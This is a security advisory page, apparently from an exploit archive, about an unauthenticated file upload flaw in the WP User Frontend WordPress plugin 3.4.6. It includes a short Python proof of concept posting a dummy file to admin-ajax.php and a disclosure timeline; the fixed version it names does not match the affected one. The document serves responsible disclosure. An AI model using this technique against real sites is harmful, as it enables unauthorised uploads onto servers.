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WordPress WP User Frontend 3.4.6 File Upload

WordPress WP User Frontend 3.4.6 File Upload
Posted Feb 9, 2016
Authored by Panagiotis Vagenas

WordPress WP User Frontend plugin version 3.4.6 suffers from a remote file upload vulnerability.

tags | exploit, remote, file upload
SHA-256 | 8d9cd36a202f9b0f7ee70efd551909124490c5eef2450bab36559e5d6f8e3b2a

WordPress WP User Frontend 3.4.6 File Upload

Change Mirror Download
* Exploit Title: WordPress WP User Frontend Plugin [Unrestricted File
Upload]
* Discovery Date: 2016-02-04
* Public Disclosure: 2016-02-08
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: https://wedevs.com
* Software Link: https://wordpress.org/plugins/wp-user-frontend
* Version: 3.4.6
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

WordPress plugin _WP User Frontend_ suffers from an unrestricted file
uploade vulnerability. An attacker can exploit the `wpuf_file_upload` or
`wpuf_insert_image` actions to upload any file which pass the WordPress
mime and size checks.

The attack does not require any privilege to be performed. The mentioned
actions are available to non-privileged users also, thus allowing to
anyone uploading files to the web server.

PoC
---


```
#!/usr/bin/python3

################################################################################
# WP User Frontend unrestricted file upload exploit
#
# Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
################################################################################

import requests
import tempfile

url = 'http://example.com/wp-admin/admin-ajax.php'

postData = {
'action': 'wpuf_file_upload'
}

file = tempfile.NamedTemporaryFile(mode='a+t', suffix='.jpeg')

file.write('A'*32)

file.seek(0)

files = {'wpuf_file': file}

r = requests.post(url, data=postData, files=files)

file.close()

if r.text != 'error':
print('Success!')
print(r.text)
else:
print('error')

exit(0)

```

Timeline
--------

1. **2016-02-04**: Vendor notified via support forums in WordPress.org
2. **2016-02-05**: Vendor responded
3. **2016-02-05**: Issue details send to vendor
4. **2016-02-06**: Requested CVE ID
5. **2016-02-06**: Vendor implemented security checks
6. **2016-02-06**: Verified that this exploit is no longer valid
7. **2016-02-08**: Vendor released v2.3.11 which resolves this issue
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